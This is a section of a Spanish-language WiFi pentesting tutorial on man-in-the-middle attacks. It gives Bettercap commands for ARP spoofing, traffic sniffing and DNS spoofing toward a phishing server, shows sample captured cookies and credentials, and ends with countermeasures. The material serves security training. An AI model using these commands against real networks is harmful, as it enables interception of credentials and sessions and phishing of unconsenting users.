4. MITM (Man-in-The-Middle) en WiFi

4. MITM (Man-in-The-Middle) en WiFi

4.1 ¿Qué es un ataque MITM?

Un ataque **MITM** consiste en **interceptar y posiblemente modificar** el tráfico entre dos dispositivos que creen estar comunicándose directamente. En un contexto WiFi pentesting, el objetivo es situarse entre el cliente y el gateway (o entre el cliente y un servidor) para:

- **Esnifar** (sniff) todo el tráfico (cookies, credenciales, navegación).
- **Inyectar** o **modificar** paquetes (redirigir URLs, insertar scripts).
- **Desviar** sesiones hacia servidores controlados (phishing avanzado).

4.2 Fundamentos de red relevantes

1. **ARP (Address Resolution Protocol)**
   - Traduce direcciones IP a direcciones MAC en redes Ethernet/WiFi.
   - Cada host mantiene una **tabla ARP** que asocia IP → MAC.
2. **ARP Spoofing / ARP Poisoning**
   - Enviamos ARP Replies falsas al cliente y/o al gateway para asociar nuestra MAC con la IP del otro extremo.
   - Cliente cree que nuestra MAC es la del gateway; gateway cree que nuestra MAC es la del cliente.
   - Todo el tráfico pasa primero por nosotros.
3. **IP Forwarding**
   - Para no interrumpir la conexión, debemos **reenviar** los paquetes recibidos hacia el destino final (`net.ipv4.ip_forward=1`).

4.3 Herramienta: Bettercap

Bettercap es una suite potente escrita en Go para ataques MITM, sniffing y manipulación en tiempo real.

Ventajas de Bettercap

- **Módulos integrados**: ARP spoofing, DNS spoofing, HTTP/HTTPS injection, TCP/UDP proxy.
- **Interfaz CLI y Web UI**: monitoreo en vivo de hosts y paquetes.

- **Scripts y automatización**: puedes encadenar comandos en su consola interactiva.

4.4 Flujo de un MITM con Bettercap

Paso 1: Preparar el entorno

1. **Modo monitor**: si trabajas en WiFi puro, primero captura y asocia tu tarjeta. Pero Bettercap también funciona en modo **managed** (asociado a un AP), haciendo MITM desde dentro de la red. En pentesting WiFi, normalmente:

   ```
   sudo airmon-ng start wlan0
   sudo iw wlan0mon connect Oficina_WiFi key WPA:password
   sudo airmon-ng stop wlan0mon
   ```

   O simplemente usas `wlan0` ya asociado.

2. **Activar forwarding IP**:

   ```
   sudo sysctl -w net.ipv4.ip_forward=1
   ```

3. **Configurar iptables** (opcional para NAT):

   ```
   sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
   sudo iptables -A FORWARD -i wlan0 -j ACCEPT
   ```

Paso 2: Arrancar Bettercap

Ejecuta Bettercap apuntando a tu interfaz asociada (`wlan0`):

```
sudo bettercap -iface wlan0
```

Verás el prompt `bettercap >`.

Paso 3: Módulo de ARP Spoofing

En la consola de Bettercap:

```
set arp.spoof.targets <IP_VICTIMA>    # IP del cliente objetivo
set arp.spoof.fullduplex true          # engaña a cliente y gateway
arp.spoof on
```

- `arp.spoof.targets`: lista de IPs a atacar (puede ser el rango completo).
- `arp.spoof.fullduplex`: envía ARP replies falsos a ambas partes.

Paso 4: Ver tráfico en vivo

Activa el sniffing:

```
net.sniff on
```

- Bettercap mostrará **HTTP requests**, **cookies**, **formularios** y **descargas** en texto plano.
- Para HTTPS, puedes usar el **proxy HTTPS** (requiere instalación de certificados en la víctima para quebrar TLS).

Paso 5: DNS Spoofing (opcional)

Para redirigir ciertos dominios:

```
set dns.spoof.domains example.com
set dns.spoof.address 10.0.0.1
dns.spoof on
```

- Redirige `example.com` a la IP `10.0.0.1` (tu servidor de phishing).

4.5 Ejemplo práctico completo

Supongamos:

- **IP gateway**: `192.168.1.1`
- **IP víctima**: `192.168.1.50`
- Usamos interfaz `wlan0` ya asociada a “Oficina_WiFi”.

1. **Habilitar IP forwarding**:

   ```
   sudo sysctl -w net.ipv4.ip_forward=1
   ```

2. **Arrancar Bettercap**:

   ```
   sudo bettercap -iface wlan0
   ```

3. **En la consola Bettercap**:

   ```
   bettercap > set arp.spoof.targets 192.168.1.50
   bettercap > set arp.spoof.fullduplex true
   bettercap > arp.spoof on
   [*] ARP spoofing enabled, targeting: 192.168.1.50
   bettercap > net.sniff on
   [*] Sniffing HTTP traffic...
   ```

4. **Navegación de la víctima**:
   - Verás líneas como:

     ```
     [HTTP] GET http://intranet.oficina/secret.txt
     [Cookie] sessionid=abcdef123456
     ```

   - Capturas de formularios: usuario/contraseña en texto plano.

5. **(Opcional) DNS spoofing**:

```
bettercap > set dns.spoof.domains login.corp
bettercap > set dns.spoof.address 192.168.1.100
bettercap > dns.spoof on
```

- Envías a la víctima a tu servidor de phishing cada vez que visite `login.corp`.

4.6 Contramedidas contra MITM

- **HTTPS forzado** (HSTS) con certificados válidos.
- **ARP Inspection** en switches gestionados.
- **Seguridad 802.1X/EAP** con certificados cliente.
- **Validación de DNS** (DNSSEC, DNS over HTTPS).
